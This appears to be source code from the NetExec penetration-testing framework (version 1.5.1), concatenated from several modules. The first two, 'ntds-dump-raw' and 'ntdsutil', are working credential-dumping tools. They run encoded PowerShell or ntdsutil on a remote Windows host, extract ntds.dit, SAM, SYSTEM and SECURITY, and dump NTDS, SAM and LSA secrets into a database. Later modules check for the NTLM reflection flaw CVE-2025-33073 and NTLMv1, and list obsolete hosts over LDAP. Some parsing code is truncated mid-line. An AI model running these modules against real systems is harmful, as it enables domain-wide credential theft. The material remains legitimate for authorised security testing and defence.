"Extracting the ntds.dit, SAM, and SYSTEM files from DC by accessing the raw hard drive." supported_protocols = ["smb", "wmi", "winrm"] category = CATEGORY.CREDENTIAL_DUMPING # Module constants NTFS_LOCATION = 0 MFT_LOCATION = 0 context = None connection = None GPT_HEADER_OFFSET = 512 GPT_HEADER_SIZE = 92 PARTITION_ENTRY_SIZE = 128 NUM_PARTITION_ENTRIES = 128 SECTOR_SIZE = 512 CLUSTER_SIZE = 4096 CHUNK_SIZE = 1024 * 1024 * 20 # chunk size of the file to retrive at a time MFT_local_path = "" MFT_local_size = 0 db = None domain = None RANDOM_RUN_NUM = int(random.random() * 100000000) output_filename = "" ATTRIBUTE_NAMES = { 0x10: "$STANDARD_INFORMATION", 0x20: "$ATTRIBUTE_LIST", 0x30: "$FILE_NAME", 0x40: "$OBJECT_ID", 0x50: "$SECURITY_DESCRIPTOR", 0x60: "$VOLUME_NAME", 0x70: "$VOLUME_INFORMATION", 0x80: "$DATA", 0x90: "$INDEX_ROOT", 0xA0: "$INDEX_ALLOCATION", 0xB0: "$BITMAP", 0xC0: "$REPARSE_POINT", 0xD0: "$EA_INFORMATION", 0xE0: "$EA", 0x100: "$LOGGED_UTILITY_STREAM", } def __init__(self): ps_script = "" with open(get_ps_script("ntds-dump-raw/ntds-dump-raw.ps1")) as psFile: for line in psFile: if line.startswith("#") or line.strip() == "": continue else: ps_script += line.strip() + "\n" self.ps_script_b64 = b64encode(ps_script.encode("UTF-16LE")).decode("utf-8") @dataclass class MFA_sector_properties: filename: str = "" dataRun: list = field(default_factory=list) size: int = 0 parent_name: str = "" parent_record_number: int = 0 full_path: str = "" def options(self, context, module_options): """TARGET: Specify the source from which the hashes will be extracted [NTDS, SAM, LSA] or any combination of them Usage: nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=SAM nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=NTDS,LSA,SAM $IP can be a Domain Controller or a regular Windows machine. """ available_options = { "NTDS": "Windows/NTDS/ntds.dit", "LSA": "Windows/System32/config/SECURITY", "SAM": "Windows/System32/config/SAM" } self.files_full_location_to_extract = [] if "TARGET" in module_options: selected_options = module_options["TARGET"].split(",") for option in selected_options: if option in available_options: self.files_full_location_to_extract.append(available_options[option]) else: context.log.error(f"Uknown option format : {option}") sys.exit(1) else: self.files_full_location_to_extract.append(available_options["NTDS"]) self.files_full_location_to_extract.append(available_options["SAM"]) # Add SYSTEM by default as needed for decryption self.files_full_location_to_extract.append("Windows/System32/config/SYSTEM") # Prepare the files to extract self.files_to_extract = [c_filename.split("/")[-1] for c_filename in self.files_full_location_to_extract] self.number_of_file_to_extract = len(self.files_to_extract) self.extracted_files_location_local = dict.fromkeys(self.files_to_extract, "") def read_from_disk(self, offset, size): """Get the raw content of the disk based on the specified offset and size by executing PowerShell code on the remote target""" fixed_size = size // 512 + 512 if size % 512 != 0 else size # scary base64 powershell code :) # This to read the PhysicalDrive0 file get_data_script = f"""powershell.exe -c "$base64Cmd = '{self.ps_script_b64}';$decodedCmd = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64Cmd)) + '; read_disk {offset} {fixed_size}'; Invoke-Expression $decodedCmd" """ if self.connection.__class__.__name__ == "wmi": data_output = self.connection.execute_psh(get_data_script, True) elif self.connection.__class__.__name__ == "smb": data_output = self.execute(get_data_script, True, ["smbexec"]) else: data_output = self.execute(get_data_script, True) self.logger.debug(f"{offset=},{size=},{fixed_size=}") compressed_bytes = b64decode(data_output)[:size] compressed_stream = BytesIO(compressed_bytes) with gzip.GzipFile(fileobj=compressed_stream, mode="rb") as gzip_file: decompressed_bytes = gzip_file.read() return decompressed_bytes[:size] def on_admin_login(self, context, connection): self.host = connection.host self.connection = connection self.logger = context.log self.execute = connection.execute self.db = connection.db self.domain = connection.domain self.output_filename = connection.output_file_template.format(output_folder="ntds") self.main() def main(self): first_section = self.read_from_disk(0, 1024) if len(first_section) == 0: self.logger.fail("Unable to read the Disk, try changing the --exec-method flag") if first_section[512: 512 + 8] == b"EFI PART": self.logger.display("Disk is formated using GPT") NTFS_LOCATION = self.analyze_gpt("\\\\.\\PhysicalDrive0") if NTFS_LOCATION == -1: self.logger.fail("[-] NTFS Basic data partition not found ") else: self.logger.display("Disk is formated using MBR") max_parition_size = 0 NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6:0x1CA]) * self.SECTOR_SIZE for partition_indx in range(4): curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10): 0x1CE + (partition_indx * 0x10)]) if curr_partition_size > max_parition_size: max_parition_size = curr_partition_size NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10): 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE self.logger.display(f"NTFS Location {hex(NTFS_LOCATION)}") self.NTFS_LOCATION = NTFS_LOCATION NTFS_header = self.read_from_disk(NTFS_LOCATION, 1024) self.analyze_NTFS(NTFS_header) self.logger.display(f"MFT location {hex(self.MFT_LOCATION)}, Cluster_size {self.CLUSTER_SIZE}") MFT_file_header_data = self.read_from_disk(self.MFT_LOCATION, 1024) MFT_file_header = self.analyze_MFT_header(MFT_file_header_data) self.logger.highlight("[+] This may take a while, perfect time to grab a coffee! c[_] ") self.read_MFT(MFT_file_header) if self.number_of_file_to_extract != 0: self.logger.fail("Unable to find all needed files, trying to work with what we have") if "SYSTEM" in self.extracted_files_location_local and self.extracted_files_location_local["SYSTEM"] != "": self.logger.success("Heads up, hashes on the way...") self.dump_hashes() else: self.logger.fail("SYSTEM file not found, unable to proceed with hash extraction") def dump_hashes(self): """Dumping NTDS and SAM hashes locally from the extracted files""" # Mostly from nxc/modules/ntdsutil.py local_operations = LocalOperations(self.extracted_files_location_local["SYSTEM"]) boot_key = local_operations.getBootKey() no_lm_hash = local_operations.checkNoLMHashPolicy() # NTDS hashes if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "": def add_ntds_hash(ntds_hash, host_id): """Extract NTDS hashes""" add_ntds_hash.ntds_hashes += 1 ntds_hash = ntds_hash.split(" ")[0] self.logger.highlight(ntds_hash) if ntds_hash.find("$") == -1: if ntds_hash.find("\\") != -1: domain, clean_hash = ntds_hash.split("\\") else: domain = self.domain clean_hash = ntds_hash try: username, _, lmhash, nthash, _, _, _ = clean_hash.split(":") parsed_hash = f"{lmhash}:{nthash}" if validate_ntlm(parsed_hash): self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) add_ntds_hash.added_to_db += 1 return raise except Exception: self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: self.logger.debug("Dumped hash is a computer account, not adding to db") add_ntds_hash.ntds_hashes = 0 add_ntds_hash.added_to_db = 0 NTDS = NTDSHashes( self.extracted_files_location_local["ntds.dit"], boot_key, isRemote=False, history=False, noLMHash=no_lm_hash, remoteOps=None, useVSSMethod=True, justNTLM=True, pwdLastSet=False, resumeSession=None, outputFileName=self.output_filename, justUser=None, printUserStatus=True, perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host), ) try: self.logger.success("NTDS hashes:") NTDS.dump() except Exception as e: self.logger.fail(e) NTDS.finish() # SAM hashes if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "": def add_SAM_hash(SAM_hash, host_id): """Extract SAM hashes""" add_SAM_hash.SAM_hashes += 1 SAM_hash = SAM_hash.split(" ")[0] self.logger.highlight(SAM_hash) if SAM_hash.find("$") == -1: if SAM_hash.find("\\") != -1: domain, clean_hash = SAM_hash.split("\\") else: domain = self.domain clean_hash = SAM_hash try: username, _, lmhash, nthash, _, _, _ = clean_hash.split(":") parsed_hash = f"{lmhash}:{nthash}" if validate_ntlm(parsed_hash): self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) add_SAM_hash.added_to_db += 1 return raise except Exception: self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: self.logger.debug("Dumped hash is a computer account, not adding to db") add_SAM_hash.SAM_hashes = 0 add_SAM_hash.added_to_db = 0 SAM = SAMHashes( self.extracted_files_location_local["SAM"], boot_key, isRemote=False, perSecretCallback=lambda secret: add_SAM_hash(secret, self.host), ) try: self.logger.success("SAM hashes:") SAM.dump() SAM.export(self.output_filename) except Exception as e: self.logger.debug(e) SAM.finish() # LSA if "SECURITY" in self.extracted_files_location_local and self.extracted_files_location_local["SECURITY"] != "": LSA = LSASecrets( self.extracted_files_location_local["SECURITY"], boot_key, remoteOps=None, isRemote=False, perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret) ) try: self.logger.success("LSA Secrets:") LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: self.logger.fail(e) if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "": self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database") if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "": self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database") self.logger.display("To extract only enabled accounts from the output file, run the following command: ") self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1") def analyze_NTFS(self, ntfs_header): """Decode the NTFS headers and extract needed infromation from it""" ntfs_header = ntfs_header[0xB: 0xB + 25 + 48] header_format = " 0: if size < chunk_size: chunk_size = size self.logger.debug(f"{hex(curr_cluster_loc)=}") curr_data = self.read_from_disk(curr_cluster_loc, chunk_size) curr_cluster_loc += chunk_size size -= chunk_size with open(path, "ab") as f: f.write(curr_data) self.MFT_local_size += chunk_size self.search_for_the_files(curr_data) if self.number_of_file_to_extract == 0: return def search_for_the_files(self, curr_data): """Analyze the current MFT records and extract the targeted files if they are present""" MFT_record_indx = 0 for curr_record_indx in range(len(curr_data) // 1024): curr_sector = curr_data[curr_record_indx * 1024: curr_record_indx * 1024 + 1024] try: curr_MFA_sector_properties = self.analyze_MFT_header(curr_sector) if curr_MFA_sector_properties is None or curr_MFA_sector_properties.filename is None: continue except IndexError: continue except Exception as e: self.logger.debug(f"{e} at {curr_record_indx}") continue if curr_MFA_sector_properties.filename in self.files_to_extract: wanted_file_indx = self.files_to_extract.index(curr_MFA_sector_properties.filename) wanted_file_location = "/".join(self.files_full_location_to_extract[wanted_file_indx].split("/")[:-1]) if curr_MFA_sector_properties.size == 0: continue curr_full_path = self.get_full_path(curr_MFA_sector_properties.parent_record_number) if wanted_file_location.lower() == "/".join(curr_full_path[::-1]).lower(): self.logger.success(f"Found {self.files_full_location_to_extract[wanted_file_indx]} {curr_MFA_sector_properties.size / (1024**2)}MB") curr_file_local_location = self.extractDataRunBytes( curr_MFA_sector_properties.dataRun, filename=f"{curr_MFA_sector_properties.filename}", offset=self.NTFS_LOCATION, ) self.extracted_files_location_local[curr_MFA_sector_properties.filename] = curr_file_local_location self.number_of_file_to_extract -= 1 MFT_record_indx += 1 def get_MFT_record_at(self, record_number): """Retrieve an MFT record from dumped data on disk based on the record number""" if record_number * 1024 < self.MFT_local_size: with open(self.MFT_local_path, "rb") as f: f.seek(record_number * 1024, 0) curr_record_data = f.read(1024) else: curr_record_data = self.read_from_disk(self.MFT_LOCATION + (record_number * 1024), 1024) return curr_record_data def get_full_path(self, curr_parent_indx): """Reconstruct the file full path""" full_path = [] max_depth = 20 # to prevent Infinite if that ever happened # for now to check if is reached record index below 10 while curr_parent_indx > 10: curr_record_data = self.get_MFT_record_at(curr_parent_indx) curr_MFT_properites = self.analyze_MFT_header(curr_record_data) if curr_MFT_properites is None or curr_MFT_properites.filename is None or max_depth == 0: break full_path.append(curr_MFT_properites.filename) curr_parent_indx = curr_MFT_properites.parent_record_number max_depth -= 1 return full_path def extractDataRunBytes(self, lst, filename, offset=0): """Retrieve the content of the file based on its datarun values""" filename_on_disk = f"{self.host}_{filename}_{self.RANDOM_RUN_NUM}.bin" export_path = join(TMP_PATH, "raw_ntds_dump") path = abspath(join(export_path, filename_on_disk)) makedirs(export_path, exist_ok=True) self.logger.display(f"Extracting {filename} to {path}") for i in lst: cluster_loc = i[0] * self.CLUSTER_SIZE size = i[1] * self.CLUSTER_SIZE curr_cluster_loc = cluster_loc + offset chunk_size = self.CHUNK_SIZE while size > 0: if size < chunk_size: chunk_size = size self.logger.debug(f"{hex(curr_cluster_loc)=}") curr_data = self.read_from_disk(curr_cluster_loc, chunk_size) curr_cluster_loc += chunk_size size -= chunk_size with open(path, "ab") as f: f.write(curr_data) return path def bytes_to_int_signed(self, lst): """Unpack bytes to a signed integer dynamically based on its length""" lst_len = len(lst) if lst_len == 1: return struct.unpack("> 4 curr_datarun_indx += 1 dataRun_len = dataRun[curr_datarun_indx: curr_datarun_indx + dataRun_startingCluster_nBytes] dataRun_len = int.from_bytes(dataRun_len, byteorder="little", signed=False) datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes: curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes] datarun_cluster_loc = int.from_bytes(datarun_startingCluster, byteorder="little", signed=True) + prev_datarun_loc total_size += dataRun_len result.append([datarun_cluster_loc, dataRun_len]) curr_datarun_indx = curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes prev_datarun_loc = datarun_cluster_loc return result, total_size * self.CLUSTER_SIZE def parse_MFT_header(self, curr_sector): """Parse the MFT header and return its properties as a list""" curr_index = 0 parsed_header = {} while True: curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index: curr_index + 4]) if curr_header == 0xFFFFFFFF or curr_header is None: break curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4: curr_index + 4 + 4]) parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index: curr_index + curr_header_len] curr_index = curr_index + curr_header_len return parsed_header def analyze_MFT_header(self, curr_sector): """Extract MFT properties""" curr_MFA_sector = self.MFA_sector_properties() if curr_sector[:4] != b"FILE": return None Offset_to_the_first_attribute = self.bytes_to_int_unsigned(curr_sector[20:22]) parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:]) if "$FILE_NAME" in parsed_header: filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1]) curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00") curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16") if "$DATA" in parsed_header: dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1]) dataRun = parsed_header["$DATA"][dataRun_offset:] curr_MFA_sector.dataRun, curr_MFA_sector.size = self.decode_dataRun(dataRun) return curr_MFA_sector def analyze_gpt(self, disk_path): """Extract the GPT partition locations on disk and return the index of Basic data partition.""" gpt_header = self.read_from_disk(self.GPT_HEADER_OFFSET, self.GPT_HEADER_SIZE) partition_entry_lba, num_partition_entries, partition_entry_size = self.parse_gpt_header(gpt_header) partition_entries = self.read_partition_entries(disk_path, partition_entry_lba, num_partition_entries, partition_entry_size) self.logger.debug(f"Found {len(partition_entries)} partition entries.") NTFS_partition_location = -1 for index, partition_entry in enumerate(partition_entries): self.logger.debug(f"\nPartition {index + 1}:") first_lba, partition_name = self.parse_partition_entry(partition_entry) if first_lba > 0: self.logger.debug(f"First Physical Address (LBA): {first_lba}") else: break self.logger.debug(f"{partition_name=}") if partition_name == "Basic data partition": NTFS_partition_location = first_lba * 512 return NTFS_partition_location def read_partition_entries(self, disk_path, partition_entry_lba, num_partition_entries, partition_entry_size): """Get the partition header section from the GPT header""" partition_entries = [] partition_table_offset = partition_entry_lba * self.GPT_HEADER_OFFSET total_size = num_partition_entries * partition_entry_size partition_table_data = self.read_from_disk(partition_table_offset, total_size) for i in range(num_partition_entries): entry_offset = i * partition_entry_size partition_entry = partition_table_data[entry_offset: entry_offset + partition_entry_size] partition_entries.append(partition_entry) return partition_entries def parse_gpt_header(self, gpt_header): """Parse the GPT header and return its partition header information""" header_format = "<8sIIIIQQQQ16sQIII" if len(gpt_header) < self.GPT_HEADER_SIZE: raise ValueError("GPT header data is too short") data = struct.unpack(header_format, gpt_header) partition_entry_lba = data[10] num_partition_entries = data[11] size_of_partition_entry = data[12] return partition_entry_lba, num_partition_entries, size_of_partition_entry def parse_partition_entry(self, partition_entry): """Parse the GPT partition header and return the first LBA location and partition name""" entry_format = "<16s16sQQQ72s" ( partition_type_guid, unique_partition_guid, first_lba, last_lba, attributes, partition_name, ) = struct.unpack(entry_format, partition_entry) partition_name = partition_name.decode("utf-16le").rstrip("\x00") return first_lba, partition_name NetExec-1.5.1/nxc/modules/ntdsutil.py000066400000000000000000000166141514706431700175510ustar00rootroot00000000000000import os import shutil import tempfile import time from impacket.examples.secretsdump import LocalOperations, NTDSHashes from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY, validate_ntlm class NXCModule: """ Dump NTDS with ntdsutil Module by @zblurx """ name = "ntdsutil" description = "Dump NTDS with ntdsutil" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """ Dump NTDS with ntdsutil Module by @zblurx DIR_RESULT Local dir to write ntds dump. If specified, the local dump will not be deleted after parsing """ self.share = "ADMIN$" self.tmp_dir = "C:\\Windows\\Temp\\" self.tmp_share = self.tmp_dir.split("C:\\Windows\\")[1] self.dump_location = str(time.time())[:9] self.dir_result = self.dir_result = tempfile.mkdtemp() self.no_delete = False if "DIR_RESULT" in module_options: self.dir_result = os.path.abspath(module_options["DIR_RESULT"]) self.no_delete = True def on_admin_login(self, context, connection): command = f"powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full {self.tmp_dir}{self.dump_location}' q q\"" context.log.display(f"Dumping ntds with ntdsutil.exe to {self.tmp_dir}{self.dump_location}") context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...") context.log.debug(f"Executing command {command}") p = connection.execute(command, True) context.log.debug(p) if "success" in p: context.log.success(f"NTDS.dit dumped to {self.tmp_dir}{self.dump_location}") else: context.log.fail("Error while dumping NTDS") return os.makedirs(self.dir_result, exist_ok=True) os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True) os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True) context.log.display(f"Copying NTDS dump to {self.dir_result}") context.log.debug("Copy ntds.dit to host") with open(os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+") as dump_file: try: connection.conn.getFile( self.share, f"{self.tmp_share}{self.dump_location}\\Active Directory\\ntds.dit", dump_file.write, ) context.log.debug("Copied ntds.dit file") except Exception as e: context.log.fail(f"Error while get ntds.dit file: {e}") context.log.debug("Copy SYSTEM to host") with open(os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+") as dump_file: try: connection.conn.getFile( self.share, f"{self.tmp_share}{self.dump_location}\\registry\\SYSTEM", dump_file.write, ) context.log.debug("Copied SYSTEM file") except Exception as e: context.log.fail(f"Error while get SYSTEM file: {e}") context.log.debug("Copy SECURITY to host") with open(os.path.join(self.dir_result, "registry", "SECURITY"), "wb+") as dump_file: try: connection.conn.getFile( self.share, f"{self.tmp_share}{self.dump_location}\\registry\\SECURITY", dump_file.write, ) context.log.debug("Copied SECURITY file") except Exception as e: context.log.fail(f"Error while get SECURITY file: {e}") context.log.display(f"NTDS dump copied to {self.dir_result}") try: command = f"rmdir /s /q {self.tmp_dir}{self.dump_location}" p = connection.execute(command, True) context.log.success(f"Deleted {self.tmp_dir}{self.dump_location} remote dump directory") except Exception as e: context.log.fail(f"Error deleting {self.dump_location} remote directory on share {self.share}: {e}") local_operations = LocalOperations(f"{self.dir_result}/registry/SYSTEM") boot_key = local_operations.getBootKey() no_lm_hash = local_operations.checkNoLMHashPolicy() host_id = context.db.get_hosts(filter_term=connection.host)[0][0] def add_ntds_hash(ntds_hash, host_id): add_ntds_hash.ntds_hashes += 1 if context.enabled: if "Enabled" in ntds_hash: ntds_hash = ntds_hash.split(" ")[0] context.log.highlight(ntds_hash) else: ntds_hash = ntds_hash.split(" ")[0] context.log.highlight(ntds_hash) if ntds_hash.find("$") == -1: if ntds_hash.find("\\") != -1: domain, clean_hash = ntds_hash.split("\\") else: domain = connection.domain clean_hash = ntds_hash try: username, _, lmhash, nthash, _, _, _ = clean_hash.split(":") parsed_hash = f"{lmhash}:{nthash}" if validate_ntlm(parsed_hash): context.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) add_ntds_hash.added_to_db += 1 return raise except Exception: context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: context.log.debug("Dumped hash is a computer account, not adding to db") add_ntds_hash.ntds_hashes = 0 add_ntds_hash.added_to_db = 0 connection.output_filename = connection.output_file_template.format(output_folder="ntds") NTDS = NTDSHashes( f"{self.dir_result}/Active Directory/ntds.dit", boot_key, isRemote=False, history=False, noLMHash=no_lm_hash, remoteOps=None, useVSSMethod=True, justNTLM=True, pwdLastSet=False, resumeSession=None, outputFileName=connection.output_filename, justUser=None, printUserStatus=True, perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, host_id), ) try: context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() context.log.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds of which {highlight(add_ntds_hash.added_to_db)} were added to the database") context.log.display("To extract only enabled accounts from the output file, run the following command: ") context.log.display(f"grep -iv disabled {connection.output_filename}.ntds | cut -d ':' -f1") except Exception as e: context.log.fail(e) NTDS.finish() if self.no_delete: context.log.display(f"Raw NTDS dump copied to {self.dir_result}, parse it with:") context.log.display(f"secretsdump.py -system '{self.dir_result}/registry/SYSTEM' -security '{self.dir_result}/registry/SECURITY' -ntds '{self.dir_result}/Active Directory/ntds.dit' LOCAL") else: shutil.rmtree(self.dir_result) NetExec-1.5.1/nxc/modules/ntlm_reflection.py000066400000000000000000000103071514706431700210600ustar00rootroot00000000000000from impacket.dcerpc.v5 import transport, rrp from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from impacket.smbconnection import SessionError from nxc.helpers.misc import CATEGORY from impacket.nmb import NetBIOSError class NXCModule: # https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 # Modified by azoxlpf to handle BrokenPipe/transport errors gracefully # Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I name = "ntlm_reflection" description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)" supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True category = CATEGORY.ENUMERATION # Reference table from MSRC report # https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-33073 MSRC_PATCHES = { # key = (major, minor, build), value = minimum patched UBR (6, 0, 6003): 23351, # Windows Server 2008 SP2 (6, 1, 7601): 27769, # Windows Server 2008 R2 SP1 (6, 2, 9200): 25522, # Windows Server 2012 (6, 3, 9600): 22620, # Windows Server 2012 R2 (10, 0, 14393): 8148, # Windows Server 2016 (10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809 (10, 0, 20348): 3807, # Windows Server 2022 (10, 0, 19044): 5965, # Windows 10 21H2 (10, 0, 22621): 5472, # Windows 11 22H2 } def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options def options(self, context, module_options): """No options available""" def is_vulnerable(self, major, minor, build, ubr): key = (major, minor, build) min_patched_ubr = self.MSRC_PATCHES.get(key) if min_patched_ubr is None: return None # Unknown product if ubr is None: return None return ubr < min_patched_ubr def on_login(self, context, connection): self.context = context self.connection = connection connection.trigger_winreg() rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") rpc.set_smb_connection(connection.conn) if connection.kerberos: rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) dce = rpc.get_dce_rpc() if connection.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) try: dce.connect() dce.bind(rrp.MSRPC_UUID_RRP) # Reading UBR from registry hRootKey = rrp.hOpenLocalMachine(dce)["phKey"] hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"] ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1] version_str = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}" if ubr else None dce.disconnect() if not version_str: self.context.log.info("Could not determine OS version from registry") return vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr) if vuln: if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled context.log.highlight(f"VULNERABLE (can relay SMB to any protocol on {self.context.log.extra['host']})") else: context.log.highlight(f"VULNERABLE (can relay SMB to other protocols except SMB on {self.context.log.extra['host']})") except SessionError as e: if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): self.context.log.info(f"RemoteRegistry is probably deactivated: {e}") else: self.context.log.debug(f"Unexpected error: {e}") except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e: context.log.debug(f"ntlm_reflection: DCERPC transport error: {e.__class__.__name__}: {e}") NetExec-1.5.1/nxc/modules/ntlmv1.py000066400000000000000000000041611514706431700171160ustar00rootroot00000000000000from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations from impacket.dcerpc.v5.rrp import DCERPCSessionError from nxc.helpers.misc import CATEGORY class NXCModule: """ Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication Module by @Tw1sm Modified by Deft (08/02/2024) """ name = "ntlmv1" description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def options(self, context, module_options): self.output = "NTLMv1 allowed on: {} - LmCompatibilityLevel = {}" def on_admin_login(self, context, connection): try: remote_ops = RemoteOperations(connection.conn, False) remote_ops.enableRegistry() if remote_ops._RemoteOperations__rrp: ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) reg_handle = ans["phKey"] ans = rrp.hBaseRegOpenKey( remote_ops._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Control\\Lsa", ) key_handle = ans["phkResult"] rtype = data = None try: rtype, data = rrp.hBaseRegQueryValue( remote_ops._RemoteOperations__rrp, key_handle, "lmcompatibilitylevel\x00", ) except rrp.DCERPCSessionError: context.log.debug("Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set") # Changed by Defte # Unless this keys is set to 3 or higher, NTLMv1 can be used if data in [0, 1, 2]: context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data)) except DCERPCSessionError as e: context.log.debug(f"Error connecting to RemoteRegistry: {e}") finally: remote_ops.finish() NetExec-1.5.1/nxc/modules/obsolete.py000066400000000000000000000072761514706431700175230ustar00rootroot00000000000000#!/usr/bin/env python3 from datetime import datetime, timedelta from nxc.helpers.misc import CATEGORY from nxc.paths import NXC_PATH import socket class NXCModule: """ Extract obsolete operating systems from LDAP Module by Brandon Fisher @shad0wcntr0ller """ name = "obsolete" description = "Extract all obsolete operating systems from LDAP" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def ldap_time_to_datetime(self, ldap_time): """Convert an LDAP timestamp to a datetime object.""" if ldap_time == "0": # Account for never-set passwords return "Never" try: epoch = datetime(1601, 1, 1) + timedelta(seconds=int(ldap_time) / 10000000) return epoch.strftime("%Y-%m-%d %H:%M:%S") except Exception: return "Conversion Error" def options(self, context, module_options): """No module-specific options required.""" def on_login(self, context, connection): search_filter = ("(&(objectclass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))" "(|(operatingSystem=*Windows 6*)(operatingSystem=*Windows 2000*)" "(operatingSystem=*Windows XP*)(operatingSystem=*Windows Vista*)" "(operatingSystem=*Windows 7*)(operatingSystem=*Windows 8*)" "(operatingSystem=*Windows 8.1*)(operatingSystem=*Windows Server 2003*)" "(operatingSystem=*Windows Server 2008*)(operatingSystem=*Windows Server 2012*)))") attributes = ["name", "operatingSystem", "dNSHostName", "pwdLastSet"] try: context.log.debug(f"Search Filter={search_filter}") resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) except Exception: context.log.error("LDAP search error:", exc_info=True) return False answers = [] context.log.debug(f"Total of records returned {len(resp)}") for item in resp: if "attributes" not in item: continue dns_hostname, pwd_last_set = "", "0" # Default '0' for pwdLastSet for attribute in item["attributes"]: attr_type = str(attribute["type"]) if attr_type == "operatingSystem": os = str(attribute["vals"][0]) elif attr_type == "dNSHostName": dns_hostname = str(attribute["vals"][0]) elif attr_type == "pwdLastSet": pwd_last_set = str(attribute["vals"][0]) if dns_hostname and os: pwd_last_set_readable = self.ldap_time_to_datetime(pwd_last_set) try: ip_address = socket.gethostbyname(dns_hostname) answers.append((dns_hostname, ip_address, os, pwd_last_set_readable)) except socket.gaierror: answers.append((dns_hostname, "N/A", os, pwd_last_set_readable)) if answers: obsolete_hosts_count = len(answers) filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt" context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}") with open(filename, "w") as f: for dns_hostname, ip_address, os, pwd_last_set_readable in answers: log_message = f"{dns_hostname} ({ip_address}) : {os} [pwd-last-set: {pwd_last_set_readable}]" context.log.highlight(log_message) f.write(log_message + "\n") else: context.log.display("No Obsolete Hosts Identified") return True 